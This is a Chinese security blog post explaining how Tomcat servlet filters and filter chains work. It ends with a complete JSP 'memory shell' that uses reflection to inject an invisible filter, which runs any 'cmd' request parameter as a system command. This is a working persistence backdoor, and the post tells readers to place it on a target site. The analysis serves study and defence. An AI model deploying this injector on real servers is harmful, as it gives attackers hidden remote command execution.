【Java内存马】Tomcat之Filter内存马分析

admin 2023年5月5日12:58:27评论33 views字数 6732阅读22分26秒阅读模式

Tomcat处理请求和响应流程:

【Java内存马】Tomcat之Filter内存马分析

  • filter说明

filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest,根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

  • filter链说明

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。

  • 基本工作原理

1)Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2)当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3)当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4)但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5)只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6)如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

  • filter的生命周期

与servlet一样,Filter的创建和销毁也由web容器负责。web应用程序启动时,web服务器将创建Filter的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求做好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。


1. Filter测试实例

配置web.xml文件,创建filter过滤器:

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"  version="4.0">
<!-- 创建过滤器 --> <filter> <filter-name>enfilter</filter-name> <filter-class>com.zack.testFilter</filter-class> </filter> <!-- 运用过滤器到任意页面 --> <filter-mapping> <filter-name>enfilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping></web-app>

创建测试类testFilter.java文件:

package com.zack;
import javax.servlet.*;import java.io.IOException;
public class testFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Init Finish!"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println("Filter Start!"); }
@Override public void destroy() { System.out.println("Filter Stop!"); }}

运行项目,访问任意页面后看到控制台输出:

【Java内存马】Tomcat之Filter内存马分析


2. Filter流程分析

filter调用流程图:

通过StandardWrapperValue这个方法最后得到了FilterChain,其中Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml从而获取到filter,然后ApplicationFilterFactory会对filter的名称和待拦截的url放到FilterMap中去,然后进行一次url匹配,然后将获取的FilterChain返回到StandardWrapperValue中去,最后在StandardWrapperValue中会调用chain.doFilter方法,从而实现执行对应的filter调用。

【Java内存马】Tomcat之Filter内存马分析

(1)在StandardWrapperValue类的invoke()方法中,在97行看到调用ApplicationFilterFactory类的createFilterChain()方法

【Java内存马】Tomcat之Filter内存马分析

(2)跟进createFilterChain()方法来到ApplicationFilterFactory类,在该方法的32和33行创建context对象然后调用对象的findFilterMaps()方法将所有filter存入filterMaps中,第一个为web.xml文件里自己定义第二个为tomcat自带,往下走经过一个if判断后将filterConfig传入addFilter()方法

【Java内存马】Tomcat之Filter内存马分析

【Java内存马】Tomcat之Filter内存马分析

(3)跟进addFilter()方法来到ApplicationFilterChain类,看到for循环是用来去除重复的filter,处理后在162行将filterConfig加入到filters中

【Java内存马】Tomcat之Filter内存马分析

(4)回到StandardWrapperValve类的invoke()方法,看到带着最终构成的filter被doFilter()方法调用

【Java内存马】Tomcat之Filter内存马分析

(5)跟进doFilter()方法来到ApplicationFilterChain类,看到被internalDoFilter()调用,再跟进internalDoFilter()方法看到调用了filter.doFilter()方法,该方法包含Filter对象类型的doFilter方法,即可以执行自己构造的filter对象的doFilter方法

【Java内存马】Tomcat之Filter内存马分析

【Java内存马】Tomcat之Filter内存马分析

(6)继续跟进就会来到自己构造的filter测试类文件中,从而调用自己自定义过滤器中的doFilter()方法,从而触发了相应的代码

【Java内存马】Tomcat之Filter内存马分析


3. Filter内存马实践

在目标网站根目录创建demo.jsp内存马生成文件,生成的内存马无需配置web.xml文件,但缺点是不能回显命令执行结果。

<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.ApplicationContextFacade" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.HashMap" %><%@ page import="java.io.IOException" %><%    //反射创建servletContext    ServletContext servletContext = request.getServletContext();    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");    applicationContextFacadeContext.setAccessible(true);    //反射创建applicationContext    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");    applicationContextContext.setAccessible(true);    //反射创建standardContext    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); String filterName = "Filter"; if (hashMap.get(filterName)==null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); Runtime.getRuntime().exec(servletRequest.getParameter("cmd")); }
@Override public void destroy() { } };
//构造filterDef对象 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
//构造filterMap对象 FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
//构造filterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig添加到filterConfigs中,即可完成注入 hashMap.put(filterName,applicationFilterConfig); response.getWriter().println("Filter shell successfully!"); }%>

访问内存马生成文件页面:

【Java内存马】Tomcat之Filter内存马分析

这时访问任意页面都可以调用Filter内存马执行系统命令:

【Java内存马】Tomcat之Filter内存马分析


原文始发于微信公众号(ZackSecurity):【Java内存马】Tomcat之Filter内存马分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月5日12:58:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Java内存马】Tomcat之Filter内存马分析https://cn-sec.com/archives/1707945.html

发表评论

匿名网友 填写信息